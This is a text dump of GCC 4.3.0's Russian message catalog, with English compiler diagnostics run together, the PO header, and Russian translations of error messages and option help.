expected pointertype %q+D does not have a known sizetype %qT is disallowed in Java %<throw%> or %<catch%>type %qT is not a base type for type %qTtype %qT is not derived from %<java::lang::Throwable%>type %qT is not derived from type %qTtype %qs has a user-defined constructortype %qs has a user-defined destructortype %qs has no default constructor to calltype %qs has virtual member functionstype defaults to %<int%> in declaration of %qstype is deprecatedtype is deprecated (declared at %s:%d)type mismatch between an SSA_NAME and its symboltype mismatch in conditional expressiontype mismatch with previous external decl of %q#Dtype of %q+D defaults to %<int%>type of %qE is unknowntype of array %q+D completed incompatibly with implicit initializationtype of asm operand %qE could not be determinedtype of bit-field %qs is a GCC extensiontype of formal parameter %d is incompletetype qualifiers ignored on function return typetype qualifiers specified for friend class declarationtype size can%'t be explicitly evaluatedtype to vector delete is neither pointer or array typetype-punning to incomplete type might break strict-aliasing rulestype/value mismatch at argument %d in template parameter list for %qDtypedef %q+D declared %<inline%>typedef %qD is initialized (use __typeof__ instead)typedef declaration invalid in parameter declarationtypes are not quite compatibleunable to compute real location of stacked parameterunable to emulate %qsunable to find a register to spill in class %qsunable to generate reloads for:unable to open dynamic dependency '%s'unable to use '%s' for PIC registerunconditional %2d never executed
unconditional %2d taken %s
undeclared selector %qsundefined named operand %qsunderflowed virtual array %s in %s, at %s:%dunexpected base-type in cris_print_baseunexpected index-type in cris_print_indexunexpected multiplicative operandunexpected operandunexpected side-effects in addressunimplemented functionalityuninitialized const %qDuninitialized const in %<new%> of %q#Tuninitialized const member %qDunion cannot be made transparentunion has no membersunion has no named membersunknown -m%s= option specified: '%s'unknown -malign-XXXXX option specified: '%s'unknown -mdebug-%s switchunknown ABI specified: '%s'unknown CRIS cpu version specification in -mtune= : %sunknown CRIS version specification in -march= or -mcpu= : %sunknown action %qs for %<#pragma pack%> - ignoredunknown array size in deleteunknown cc_attr valueunknown conversion type character %qc in formatunknown conversion type character 0x%x in formatunknown demangling style '%s'unknown field %qE specified in initializerunknown insn modeunknown machine mode %qsunknown move insn:unknown operator '%s' in %%:version-compareunknown register name %qs in %<asm%>unknown register name: %sunknown relocation unspecunknown spec function '%s'unknown tls-model "%s"unnamed initializer for %qT, which has no base classesunnamed initializer for %qT, which uses multiple inheritanceunnamed struct/union that defines no instancesunnamed variable or field declared voidunnecessary EH edge %i->%iunordered comparison on non-floating point argumentunreachable bytecode from %d to before %dunreachable bytecode from %d to the end of the methodunrecogized wide sub-instructionunrecognised debug output level "%s"unrecognizable insn:unrecognized addressunrecognized command line option "%s"unrecognized format specifierunrecognized gcc debugging option: %cunrecognized option '-%s'unrecognized register name "%s"unrecognized section name "%s"unrecognized supposed constantunrecognized visibility value "%s"unrecoverable errorunsupported argument to %<__builtin_frame_address%>unsupported argument to %<__builtin_return_address%>unsupported combination: %sunsupported operand size for extended registerunterminated assembly dialect alternativeunterminated format stringunused arguments in $-style formatunused parameter %q+Dunused variable %q+Dupper value in case label range exceeds maximum value for typeuse #include insteaduse %<%T::%D%> instead of %<%T::%D%> to name the constructor in a qualified nameuse %<%T::template %D%> to indicate that it is a templateuse %<-fobjc-exceptions%> to enable Objective-C exception syntaxuse -Winvalid-pch for more informationuse __attribute__ ((vector_size)) insteaduse of %qs in templateuse of %qs length modifier with %qc type characteruse of %s and %s together in %s formatuse of %s and %s together with %<%%%c%> %s formatuse of class template %qT as expressionuse of enum %q#D without previous declarationuse of memory input without lvalue in asm operand %d is deprecateduse of namespace %qD as expressionuse of old-style castused array that cannot be converted to pointer where scalar is requiredused struct type value where scalar is requiredused union type value where scalar is requireduseless %<__thread%> in empty declarationuseless storage class specifier in empty declarationuseless type name in empty declarationuseless type qualifier in empty declarationuser-defined %qD always evaluates both argumentsusing %<typename%> outside of templateusing both @FILE with multiple files not implementedusing template type parameter %qT after %qsusing typedef-name %qD after %qsusing-declaration for non-member at class scopevalidate_value_data: Loop in regno chain (%u)validate_value_data: [%u] Bad next_regno for empty chain (%u)validate_value_data: [%u] Bad oldest_regno (%u)validate_value_data: [%u] Non-empty reg in chain (%s %u %i)value computed is not usedvalue of -mfixed-range must have form REG1-REG2variable %q#D has initializer but incomplete typevariable %q+D declared %<inline%>variable %q+D definition is marked dllimportvariable %q+D might be clobbered by %<longjmp%> or %<vfork%>variable %qD has initializer but incomplete typevariable length array %qD is usedvariable or field %qE declared voidvariable or field %qs declared voidvariable or field declared voidvariable previously declared %<static%> redeclared %<extern%>variable tracking requested, but not supported by this debug formatvariable tracking requested, but useless unless producing debug infovariable-size type declared outside of any functionvariable-sized object %qD may not be initializedvariable-sized object may not be initializedvariably modified %qs at file scopevector %s %s domain error, in %s at %s:%uvector overflow in expressionvector size not an integral multiple of component sizeverification failed at PC=%d: %sverification failed: %sverify_cgraph_node failedverify_eh_tree failedverify_flow_info failedverify_flow_info: Basic block %d succ edge is corruptedverify_flow_info: Duplicate edge %i->%iverify_flow_info: Incorrect blocks for fallthru %i->%iverify_flow_info: Incorrect fallthru %i->%iverify_flow_info: REG_BR_PROB does not match cfg %wi %iverify_flow_info: Wrong count of block %i %iverify_flow_info: Wrong count of edge %i->%i %iverify_flow_info: Wrong frequency of block %i %iverify_flow_info: Wrong probability of edge %i->%i %iverify_flow_insensitive_alias_info failedverify_flow_sensitive_alias_info failedverify_ssa failedverify_stmts failedvirtual array %s[%lu]: element %lu out of bounds in %s, at %s:%dvirtual base %qT inaccessible in %qT due to ambiguityvirtual functions cannot be friendsvirtual non-class function %qsvisibility argument must be one of "default", "hidden", "protected" or "internal"visibility argument not a stringvisibility attribute not supported in this configuration; ignoredvoid value not ignored as it ought to bevtable layout for class %qT may not be ABI-compliantand may change in a future version of GCC due to implicit virtual destructorwarning: warning: '-x %s' after last input file has no effectwarning: -pipe ignored because -save-temps specifiedwarning: already-compiled .class files ignored with -Cwarning: use of obsolete %%[ operator in specsweak declaration of %q+D after first use results in unspecified behaviorweak declaration of %q+D must be publicweak declaration of %q+D must precede definitionweak declaration of %q+D not supportedweakref %q+D ultimately targets itselfwhen writing output to %s: %mwidth of %q+D exceeds its typewidth of %qs exceeds its typewill be assumed to return %<id%> and acceptwithin this contextwriting into constant object (argument %d)writing through null pointer (argument %d)wrong amount of branch edges after conditional jump %iwrong amount of branch edges after unconditional jump %iwrong edge %d->%d for PHI argumentwrong immediate use listwrong insn in the fallthru edgewrong number of arguments specified for %qs attributewrong number of template arguments (%d, should be %d)wrong outgoing edge flags at end of bb %dwrong type argument to abswrong type argument to bit-complementwrong type argument to conjugationwrong type argument to decrementwrong type argument to incrementwrong type argument to unary exclamation markwrong type argument to unary minuswrong type argument to unary plusx87 register return with x87 disabledxstormy16_print_operand: unknown codez/Architecturezero or negative size array %q+Dzero vector sizezero width for bit-field %q+Dzero width for bit-field %qszero width in %s formatzero-length %s format stringzero-size array %qDProject-Id-Version: gcc 4.3.0
Report-Msgid-Bugs-To: http://gcc.gnu.org/bugs.html
POT-Creation-Date: 2009-07-15 13:37+0200
PO-Revision-Date: 2008-11-19 17:55+0200
Last-Translator: Pavel Maryanov <acid_jack@ukr.net>
Language-Team: Russian <gnu@mx.ru>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);


%s: %d: предупреждение: вставка декларации '%s' в макровызов невозможна

%s: ошибка чтения входного файла '%s': %s

%s: фатальная ошибка: вспомогательный файл поврежден, строка %d

%s: предупреждение: слишком мало списков параметров в декларации '%s'

Время выполнения (сек.)

Инструкции по составлению и отправке отчётов об ошибках см. на:

Инструкции по подготовке отчётов об ошибках см. на:
%s.


Продолжать? (y - да, n - нет) 
Ключи компоновщика
==================


Ключи, начинающиеся с -g, -f, -m, -O, -W, или --param автоматически
передаются процессам, запускаемым %s. Для передачи ключей этим процессам, используйте ключи -W<буква>.

вывод ldd с конструкторами/деструкторами.

write_c_file - выходное имя %s, префикс %s
                           Показать специфические ключи командной строки
    включённом из %qs    включённом из %qs в %s:%d    включённом из %qs в %s:%d:%d   в преобразовании указателя на элемент   в преобразовании указателя на элемент-функцию  (Задайте '-v --help' для вывода ключей всех проходов компиляции)
  -###                     Как -v, но параметры берутся в кавычки и команды не запускаются
  --bootclasspath ПУТЬ    Изменить встроенный путь к классам
  --classpath ПУТЬ        Задать путь к файлам .class
  --extdirs ПУТЬ	  Задать путь к каталогам расширений
  --help                   Вывести этот текст
  --help                  Напечатать эту справку и выйти
  --javap		  Вывести результат в формате 'javap'
  --sysroot=<каталог>      Использовать <каталог> как головной каталог для заголовков
                           и библиотек
  --target-help            Показать специфические ключи целевой платформы
  --version               Напечатать номер версии и выйти
  -B <каталог>             добавить <каталог> к списку поиска программ 
                             компилятора
  -E                       Только препроцессирование - без компиляции, ассемблирования, компоновки
  -I КАТАЛОГ		  Добавить каталог к пути классов
  -S                       Только компиляция - без ассемблирования и компоновки
  -V <версия>              Использовать <версию> gcc, если она установлена
  -Wa,<ключи>              Передать <ключи>, разделённые запятыми, ассемблеру
  -Wl,<ключи>              Передать <ключи>, разделённые запятыми, компоновщику
  -Wp,<ключи>              Передать <ключи>, разделённые запятыми, препроцессору
  -Xassembler <арг>        Передать <арг> ассемблеру
  -Xlinker <арг>           Передать <арг> компоновщику
  -Xpreprocessor <арг>     Передать <арг> препроцессору
  -a, --all-blocks                Показать сведения для всех блоков
  -b <машина>              Генерировать код для указанной <машины>, 
                                    если возможно
  -b, --branch-probabilities      Вывести вероятности переходов
  -c                       Компиляция и ассемблирование, без компоновки
  -c			  Дизассемблировать тела методов
  -c, --branch-counts             При счётчиках переходов, заданных
                                    в абсолютных, а не в процентных значениях
  -combine                 Передать компилятору несколько исходных файлов вместе
  -dumpmachine             Показать имя целевой платформы
  -dumpspecs               Показать встроенные спецификации
  -dumpversion             Показать версию компилятора
  -f, --function-summaries        Вывести сводки для всех функций
  -h, --help                      Показать эту справку и выйти
  -l, --long-file-names           Выводить длинные имена включаемых
                                    исходных файлов
  -n, --no-output                 Не создавать выходной файл
  -o <файл>                Записать результат в <файл>
  -o ФАЙЛ                 Задать имя выходного файла
  -o, --object-directory КАТАЛОГ|ФАЙЛ  Искать объектные файлы в КАТАЛОГе
                                       или в вызываемом ФАЙЛе
  -p, --preserve-paths            Сохранить все компоненты полного имени
  -pass-exit-codes         Выход с максимальным кодом возврата от прохода
  -pipe                    Передавать промежуточные данные по конвейеру
  -print-file-name=<биб>   Показать полное маршрутное имя библиотеки <биб>
  -print-libgcc-file-name  Показать имя run-time библиотеки компилятора
  -print-multi-directory   Показать корневой каталог с версиями libgcc
  -print-multi-lib         Показать соответствие между ключами и каталогами
                           поиска библиотек
  -print-multi-os-directory Показать относительный маршрут к библиотекам операционной системы
  -print-prog-name=<прог>  Показать полное имя компоненты компилятора <прог>
  -print-search-dirs       Показать каталоги поиска
  -print-sysroot-headers-suffix Вывести суффикс sysroot, используемый для поиска заголовочных файлов
  -save-temps              Не удалять промежуточные файлы
  -specs=<файл>            Использовать <файл> спецификаций вместо 
                             внутренних спецификаций компилятора
  -std=<стандарт>          Считать, что исходный код следует <стандарту>
  -time                    Включить хронометраж проходов
  -u, --unconditional-branches    Показать счётчики безусловных переходов
  -v                       Отображать команды, запускаемые компилятором
  -v, --verbose		  Во время работы печатать более подробную информацию
  -v, --version                   Показать номер версии и выйти
  -x <язык>                Задать язык последующих входных файлов.
                           <язык> может быть: c c++ assembler none
                           'none' означает, что далее язык нужно
                           определять по расширению имени файла
  поскольку это несистемный каталог, повторяющий системный каталог
  базового класса %qT  поскольку это дает лучшую последовательность преобразований аргумента  вместо требуемых %d  но не переопределяет %<%T(const %T&)%>  но не переопределяет %<operator=(const %T&)%>  методом %q+D  возможные преобразования - %qD и %qD  нельзя использовать устаревшую привязку в %q+D, потому что имеется деструктор  конфликт с %q+D  входит в catch-блок  входит в try-блок  ожидался шаблон класса, а обнаружено %qE  ожидался шаблон класса, обнаружено %qT  ожидалась константа типа %qT, а обнаружено %qT  ожидался шаблон типа %qD, обнаружено %qD  ожидался тип, обнаружено %qE  ожидался тип, обнаружено %qT  при преобразовании из %qT в %qT,  отсюда  в вызове %qD  в вычислении %<%Q(%#T, %#T)%>  в конкретизации шаблона %qT  в throw-выражении  при инициализации %P -го аргумента %qD  соответствует декларации %q+D по правилам стандарта ISO  соответствует декларации %q+D по старым правилам  или %<operator=(const %T&)%>  отменяющий %q+#D  отменяющий %q+#F  поскольку %q+#D объявлена в базовом классе  при конкретизации %qD  используется устаревшая привязка в %q+D (frv) Все ключи с требуемыми характеристиками уже выведены
 Не найдено ключей с требуемыми характеристиками
 Ожидающие в очереди операторы не выведены на дуге ENTRY (%d, %d)
 Ожидающие в очереди операторы не выведены на дуге EXIT (%d, %d)
 Ожидающие в очереди операторы не выведены на дуге PRED (%d, %d)
 Ожидающие в очереди операторы не выведены на дуге SUCC (%d, %d)
 СУММА                 : заданы несовместимые ключи генерации коданеверный ключ препроцессора "%s"# %s %.2f %.2f
порядок поиска для #include "...":
порядок поиска для #include <...>:
после #pragma GCC visibility должно быть push или pop#pragma GCC visibility push() должна задавать default, internal, hidden или protected#pragma GHS endXXXX не соответствует предшествующей startXXX#pragma GHS endXXXX без предшествующей startXXX#pragma extern_prefix для этой платформы не поддерживается#pragma implementation для %qs после включения файла#pragma pack (pop) без соответствующей прагмы #pragma pack (push)#pragma pack проигнорирована, т.к. не имеет смысла с ключом -fpack-struct#pragma pack(pop, %s) без соответствующей прагмы #pragma pack(push, %s)#pragma pack(pop[, id], <n>) для данной платформы не поддерживается#pragma pack(push[, id], <n>) для данной платформы не поддерживается#pragma redefine_extname игнорирована из-за конфликта с декларацией __asm__#pragma redefine_extname игнорирована, поскольку конфликтует с предыдущей  директивой #pragma redefine_extname#pragma redefine_extname игнорирована, поскольку конфликтует с предыдущим  переименованием#pragma redefine_extname не поддерживается для этой платформы#pragma vtable больше не поддерживается$ номер операнда использован после формата без номера операнда%+D создает конфликт типов секцийограничитель %<%%%> использован с номером последнего операнда%<%%%c%> только две последние цифры года%<%%%c%> в некоторых локализациях дает только две последние цифры года%<%T::%D%> не является корректным декларатором%%<%T::%D%> обозначает конструктор%<%T::%D%> обозначает конструктор в %qT%<%T::%D%> обозначает деструктор%<%c%s%> не реализовано протоколом(ами)декларация %<%s %E%> внутри списка параметровограничитель %<&%> без указания класса регистровошибка: %<-gant%> вместо %<-gnat%>аргументы %<...%>.)%<...%> содержит неверный номер операнда%<::main%> должна возвращать %<int%>%<<:%> - альтернативное написание %<[%>. Вставьте пробел между %<<%> и %<::%>список аргументов шаблона не должен начинаться с %<<::%>отсутствует %<@end%> в контексте реализации%<@end%> должен находиться в контексте @implementation%<@throw%> (rethrow) использовано вне блока @catch%<@try%> без %<@catch%> или %<@finally%>%<__alignof%> применено к битовому полювторой аргумент %<__builtin_longjmp%> должен быть 1вызов %<__builtin_next_arg%> без аргумента%<__gcc_host_wide_int__%> не определен как %<long%> или %<long long%>%<__gcc_host_wide_int__%> не определен как тип%<__thread%> перед %<extern%>%<__thread%> перед %<static%>спецификатор %<__thread%> использован с %<auto%>спецификатор %<__thread%> использован с %<register%>спецификатор %<__thread%> использован с %<typedef%>спецификатор %<__thread%> использован с %qE%<или%> от двух взаимно исключающих сравнений на равенство - всегда 0ограничитель операнда %<asm%> не согласуется с размером операндадля операнда %<asm%> требуется неосуществимая перезагрузка данныхспецификаторы %<asm%> не допускаются для нестатических элементов данных%<auto%> в пустой декларации на уровне файласпецификаторы %<const%> и %<volatile%> для функции %qD некорректны в декларации %sметка %<default%> в области видимости идентификатора с переменно-модифицируемым типом, не содержащей объемлющего оператора switchметка %<default%> в оператора-выражении, не содержащем объемлющего оператора switchметка %<default%> вне оператора switchдекларация %<enum %E%> в заголовке %<for%>-цикла%<explicit%> может быть задан только для конструкторов%<friend%> может быть задан только внутри класса%<inline%> в пустой декларациине допускается использовать %<inline%> в декларации специализации friend-шаблона %qDв декларации friend-класса использован квалификатор %<inline%>некорректно указано %<inline%> для функции %qs, объявленной вне глобальной области видимости%<location_t%> не определен как типимя %<locus%> не определено как типGCC не поддерживает тип %<long long long%>недопустимо использовать %<long long%> для %qs%<long%> и %<short%> одновременно заданы для %qsнедопустимо использовать %<long%> для %qs%<long%> или %<short%> некорректны для %qs%<long%> или %<short%> заданы в описании %qs с типом charв ISO C %<long%>-выражение в операторе switch не преобразуется в %<int%>функция с атрибутом noreturn возвращает не-void значение%<operator delete%> должен иметь результат типа %qT%<operator delete%> имеет первый параметр типа %qT%<operator new%> не должен возвращать NULL, если только он не декларирован %<throw()%> (или задан ключ -fcheck-new)%<operator new%> должен возвращать тип %qT%<operator new%> имеет %<size_t%> (%qT) в качестве первого параметра%<operator=%> должен возвращать ссылку на %<*this%>%<или%> от двух сравнений на неравенство с разными величинами - всегда 1%<register%> в пустой декларации на уровне файлаоператор %<return%> <значение> в функции возвращающей voidоператор %<return%> без значения в функции, возвращающей не void-значениенедопустимо использовать %<short%> для %qs%<signed%> и %<unsigned%> одновременно заданы для %qs%<signed%> или %<unsigned%> некорректны для %qsслово %<static%> недопустимо при определении (в отличие от объявления) статического элемента данных в классенекорректно указано %<static%> для функции %qs, объявленной вне глобальной области видимостидекларация %<struct %E%> в заголовке %<for%>-циклаимя %<this%> недоступно для статических элементов-функцийатрибуты %<trap%> и %<far%> несовместимы, %<far%> игнорируетсяатрибут %<trap%> уже использованимя %<tree%> не определено как указательный типимя %<tree%> не определено как тип%<typedef%> в этой декларации отброшендекларация %<union %E%> в заголовке %<for%>-цикла%<va_start%> в функции с фиксированным числом аргументов%<void%>, как единственный параметры не может содержать квалификаторы%<void%> должен быть единственным параметромпереименование %D после ссылки в ассемблерном коде%H   при помощи ранее заданного обработчика для %<%T%>%H   при помощи ранее заданного обработчика для %qT%H  отсюда%Hобработчик %<...%> должен быть последним в своем try-блоке%H%<>>%> должно быть %<> >%> внутри списка аргументов вложенного шаблона%Hвыход из функции с атрибутом %<noreturn%>%H%qE: определение с некорректным видом тега%H%qE не описан (первое использование в этой функции)%H%qE не описан в этой области (не в функции)%H%s%H(Сообщение о неописанном идентификаторе выдается один раз%HИспорчен профиль значений: общий счётчик профиля %s (%d) не соответствует BB count (%d)%Hсоздаётся селектор для несуществующего метода %qE%Hповторно встреченный класс будет скомпилирован только один раз%Hповтор метки %qD%Hв переключателе пропущено значение %qE перечислимого типа%Hбудет обработана исключительная ситуация типа %qT%Hдля каждой функции, в которой он используется.)%Hдиректива #pragma %s %s проигнорирована%Hрезультат %qD, декларированной с атрибутом warn_unused_result, игнорируется%Hрезультат функции, декларированной с атрибутом warn_unused_result, игнорируется%Hдекларация прототипа%Hоператор без побочного эффекта%Hнекорректное употребление символа %<@%>%Hиспользуйте фигурные скобки во избежание неоднозначной трактовки %<else%>%Hоператор switch без метки default%Hв традиционном C нет отдельного пространства имён для меток, конфликт по идентификатору %qE %Hвычисленное значение не используется%Hникогда не будет выполнена%J  входит в catch-блок%J  проблему можно обойти, исключив инициализацию%J%qE: атрибут допустим только для функций%J%s %<%c%s%>%J%s %qs%Jабстрактный метод в неабстрактном классе%Jатрибут адресного пространства для функций недопустим%Jв данной конфигурации определения алиасов не поддерживаются%Jатрибут адресного пространства для локальных переменных недопустим%Jанонимная структура не может иметь элементов-функций%Jанонимное объединение не может иметь элементов-функций%Jатрибут %qE нельзя установить после определения объекта%Jcase-значение %qs не принадлежит к перечислимому типу%Jcase-значение %qs не принадлежит к перечислимому типу %qT%Jпротиворечит предыдущей декларации здесь%Jатрибут области данных недопустим для локальных переменных%Jрегулируемый массив - единственный именованный элемент структуры%Jрегулируемый элемент-массив в объединении%Jрегулируемый элемент-массив - не последний элемент структуры%Jзадан позднее, чем непрототипное определение здесь%Jфункции, возможно, следует задать атрибут %<noreturn%>%Jнекорректное использование структуры с регулируемым элементом-массивом%Jпереход в область видимости идентификатора с переменно-модифицируемым типом%Jпереход в выражение-оператор%Jопределение функции в старом стиле%Jстарый стиль деклараций параметров в определении функции с прототипом%Jв данной конфигурации поддерживаются только слабые алиасы%Jпараметр %u имеет неполный тип%Jпараметр %u имеет неполный void%Jв списке параметров пропущено имя параметра%Jопущено имя параметра%Jэто предыдущее определение%Jкоторое ранее использовано здесь%Jатрибут section недопустим для локальных переменных%Jатрибут section для данной платформы не поддерживается%Jперекрытая декларация находится здесь%Jэто первая метка default%Jэто первое case-значение, с которым перекрывается данное значение%Jобщий размер локальных объектов слишком велик%Jв традиционном С не поддерживаются определения функций в стиле ISO C%Jдля typedef-имени недопустимы квалификаторы классов%Jатрибут weakref должен задаваться до атрибута alias%Jweakref в данной конфигурации не поддерживаетсянайдено %d конструктор(ов)
найдено %d деструктор(ов)
найдено %d таблиц кадров
%i-битный режим не компилируется в%q#D конфликтует с предыдущим использованием декларации %q#D%q#D скрывает конструктор для %q#T%q#D не является статическим элементом %q#T%q+#T содержит элементы данных типа указатель%q#T содержит виртуальные функции, но невиртуальный деструктор%q#T не является классомв %q#T определен только private деструктор и нет друзейв %q#T определен только private конструктор и нет друзей%q#T использовано там, где ожидалось %qT%q#T использовано там, где ожидалось плавающее значениедекларация %q+#D недопустима,%q+#D не ссылается на неквалифицированный тип, поэтому не используется для связывания%q+D - алиас внешнего символа %qs%q+D - алиас неопределенного символа %qs%q+D уже декларирован(а) с атрибутом dllexport: dllimport игнорируется%q+D дает конфликт типов секций%q+D содержит пустые классы; поэтому базовые классы могут размещены иначе в будущих версиях GCC%q+D декларировано как friend%q+D декларирован как не параметр%q+D объявлено здесь%q+D декларировано со спецификацией исключительной ситуации%q+D определено как обычное имя и как alias%q+D определена, но нигде не используется%q+D ранее декларирован здесьобычно %q+D является нестатической функцией%q+D не является функцией,%q+D слишком мало для представления всех значений типа %q#T%q+D обычно является функцией%q+D может быть не статическим, поскольку это элемент объединения%q+D может не иметь ссылочного типа %qT, поскольку это элемент объединения%q+D повторно декларирован как символ другого вида%q+D повторно декларирован(а) без атрибута dllimport после ссылок с dll привязкой%q+D повторно декларирован(а) без атрибута dllimport: предшествующая декларация с dllimport игнорируется%q+D может быть функцией с двумя аргументами, либо функцией без аргументов%q+D скрытофункция %q+D использована до определения без предварительной декларации%q+D использована без предварительного определения%q+D будет инициализирован после%q+F объявлена %<static%>, но нигде не определена%q+F используется, но нигде не определена%q+T ранее декларирован здесьатрибут %qD игнорируется%qD не может быть объявлена виртуальной, поскольку она всегда статическаяво врема декларации не допускается инициализировать %qD неконстантным выражением%qD не может быть локально-поточным, поскольку имеет не-POD тип %qT%qD не может иметь аргументов по умолчанию%qD декларирован как %<virtual%> %s%qD декларирован как %<inline%> %sпеременная %qD декларирована как ссылка, но не инициализирована%qD имеет неполный тип%qD имеет неполный тип%qD имеет то же имя, что и класс, в котором он(а) декларируется%qD уже friend для %qT%qD уже и так уже является другом класса %qTв этой области видимости уже есть декларация %qDопределение %qD уже есть в %qT%qD уже определена в классе %qTопределение %qD уже есть в классе %qT%qD - непосредственный базовый тип, а также косвенный виртуальный базовый тип%qD не является классом или пространством имён%qD не является шаблоном функции%qD не является элементом %qT%qD не является шаблонным элементом-функцией%qD не является функцией шаблоном%qD не является типомотсутствует декларация %qD в %qD%qD не определено вне функции%qD является локально-поточным, поэтому не может быть динамически инициализирован%qD можно не определять статическойдекларация %qD может не действовать в пространстве имён%qD должнен быть нестатической элементом-функцией%qD должен быть либо нестатическим элементом-функцией или функцией-не-элементом%qD должен иметь аргумент типа класс или перечислимого типа%qD не может иметь переменное число аргументов%qD должен иметь список параметров %<void%>%qD должен иметь один или два аргумента%qD должен иметь не более одного аргумента%qD должен иметь ровно один аргумент%qD должен иметь ровно два аргументаотсутствует декларация %qDнет определения %qD%qD следовало объявить внутри %qD%qD не может быть перегружен(о/а)%qD должен возвращать результат по значениюиспользование %qD без параметров шаблона%qD продекларирован как %<extern%>, а позже как %<static%>нет декларации %qD в этой области видимости%qE атрибут действует только в public-объектахатрибут %qE проигнорированатрибут %qE для %qE проигнорированатрибут %qE для поля типа %qT проигнорированатрибут %qE для не классовых типов игнорируетсяатрибут %qE для типов игнорируетсяатрибут %qE допустим только для функций с переменным числом аргументомв атрибуте %qE требуется прототип с именованными аргументами%qE нельзя использовать как функцию%qE не может использоваться как элемент, поскольку имеет тип %qT%qE не является встроенным типом или typedef-типом%qE некорректный вид функции форматирования%qE - не в начале декларации%qE не имеет тип %qT%qT объявлен с большей областью видимости, чем родитель %qT%qT объявлен с большей областью видимости, чем тип его поля %qD%qT наследован от %qT, использующего анонимное пространоство имён%qT имеет поле %qD, использующее анонимное пространоство имён%qT не содержит элемента с именем %qE%qT не имеет нестатического элемента данных с именем %qD%qT уже friend для %qT%qT является неоднозначной базой %qT%qT является недостижимой базой %qT%qT не является базовым для %qT%qT не является классом или пространством имён%qT не является типом class, struct или union%qT не является элементом %qT%qT не является пространством имён%qT не вложен в %qT%qT не является типом указателя на объект%qT не является шаблоном%qT не является шаблонным типом%qT не является базовым для %qT%qT преобразован к %qT при передаче через %<...%>ссылка на %qT как на %qsссылка на %qT как на enum%qs возможно некорректно называнный обработчик прерывания%qs возможно некорректно называнный обработчик сигналаатрибут %qs допустим только для переменныхаргумент атрибута %qs не является строковой константойаргумент атрибута %qs не является целой константойдиректива описания атрибутов %qs проигнорированаатрибут %qs недопустим в декларациях типоватрибут %qs проигнорированатрибут %qs недопустим для функцийатрибут %qs допустим только для функцийатрибут %qs применим только к функциям обработки прерыванийатрибут %qs допустим только для переменныхаргументом атрибута %qs должна быть целая константа%qs допустим только для функцийимя %qs декларировано как DLL экспортируемое и импортируемое%qs объявлена как функция, возвращающая функцию%qs объявлена как функция, возвращающая массивдля %qs требуется константный аргументдля %qs задан спецификатор %<extern%> и инициализаторпереполнение %qs%qs - несовместимый атрибут, игнорируется%<extern%> декларация %qs с инициализациейимя %qs будет исключено в будущих версияхустаревшая функция, переменная или тип %qs (декларация в %s:%d)ширина поля %qs не достаточна для значений указанного типа%qs не является файлом данных gcov%qs не является корректным выходным файлом%qs не является именем класса Objective-C или синонимом%qs версии %q.*s, ожидаемая версия %q.*s%qs не может соответствовать %<%c%s%>имя %qs повторно декларировано как имя другого вида%s%s
%s %+#T%s %D(%T) <built-in>%s %D(%T, %T) <built-in>%s %D(%T, %T, %T) <built-in>%s %T <conversion>%s %qs не является полной реализацией протокола %qs%s %s %p %d
%s %s%s
%s %s(%E) %p %d
%s '%s'
%s между разными указательными типами %qT и %qT: отсутствует приведение%s нельзя использовать в asm в таком контексте%s: ошибка при определении адреса перегруженной функции%s не поддерживает номера операндов %%n$ в форматах%s не поддерживает %s%s не поддерживает %s с %<%%%c%> в формате %s%s не поддерживает block_ends_with_call_p%s не поддерживает block_ends_with_condjump_p%s не поддерживает can_duplicate_block_p%s не поддерживает can_merge_blocks_p%s не поддерживает create_basic_block%s не поддерживает delete_basic_block%s не поддерживает duplicate_block%s не поддерживает flow_call_edges_add%s не поддерживает make_forwarder_block%s не поддерживает merge_blocks%s не поддерживает move_block_after%s не поддерживает predict_edge%s не поддерживает predicted_by_p%s не поддерживает redirect_edge_and_branch%s не поддерживает redirect_edge_and_branch_force%s не поддерживает split_block%s не поддерживает split_edge%s не поддерживает %<%%%c%> в формате %s%s не поддерживает %<%%%s%c%> в формате %s%s не поддерживает модификатор размера %qs в %s%s - список выражений рассматривается как составное выражение%s не имеет побочных эффектов%s в сочетании с %s и %<%%%c%> в формате %s игнорируется%s в сочетании с %s в формате %s игнорируется%s ссылка, а не вызов функции %qE%s для этой конфигурации не поддерживается%s завершилась с кодом возврата %d%s должен иметь тип %<%T%s%>, но аргумент %d имеет тип %qT%s должен иметь тип %<%s%s%>, но аргумент %d имеет тип %qT%s завершилась по сигналу %d [%s]%s%s употреблен с %<%%%c%> в формате %s%s%s%s %sверсия %s (%s)
%s	скомпилировано GNU C версия %s, %s%s%s %sверсия %s (%s) скомпилировано CC, %s%sэвристики GGC: --param ggc-min-expand=%d --param ggc-min-heapsize=%d
%s%sпредупреждение: версия заголовка %s %s отличается от версии библиотеки %s.
%s-%s задает пустой диапазон%s: %d блоков и %d дуг на блок%s: %d блоков и %d регистров%s: %d: '%s' используется, но отсутствует в SYSCALLS
%s: %d: предупреждение: '%s' исключена препроцессором
%s: %d: предупреждение: определение %s не преобразовано
%s: %d: предупреждение: найдено '%s', ожидалось '%s'
%s: %d: предупреждение: отсутствует внешнее определение '%s'
%s: %d: предупреждение: исходный код слишком запутанный
%s: %d: предупреждение: декларация varargs-функции не преобразована
%s: %s%s: компилятор %s не установлен%s: программа %s завершилась с кодом %d
%s: %s: не удалось получить статус: %s
%s: '%s' не преобразован
%s: аргументы --param должны иметь вид ИМЯ=ЗНАЧЕНИЕ%s: Ошибка открытия выходного файла: %s
%s: ошибка закрытия выходного файла %s
%s: PCH-файл был некорректен%s: попытка переименовать '%s в уже определённую спецификацию '%s'%s: ошибка изменения прав '%s': %s
%s: ошибка создания/открытия пустого файла '%s': %s
%s: ошибка создания/открытия выходного файла '%s': %s
%s: ошибка удаления вспомогательного файла '%s': %s
%s: ошибка удаления файла '%s': %s
%s: ошибка получения статуса файла '%s': %s
%s: ошибка получения состояния вспомогательного файла '%s': %s
%s: ошибка создания ссылки файла '%s' на '%s': %s
%s: ошибка открытия вспомогательного файла '%s' на чтение: %s
%s: ошибка открытия файла '%s' на чтение: %s
%s: ошибка чтения вспомогательного файла '%s': %s
%s: ошибка доступа к рабочему каталогу: %s
%s: ошибка открытия COFF-файла%s: компиляция '%s'
%s: список конфликтов для '%s':
%s: несовместимые внешние определения '%s'
%s: преобразование файла '%s'
%s: ошибка открытия PCH файла %m%s: декларация функции '%s' не преобразована
%s: декларации '%s' не будут преобразованы
%s: определение функции '%s' не преобразовано
%s: ошибка закрытия вспомогательного файла '%s': %s
%s: ошибка чтения вспомогательного файла '%s': %s
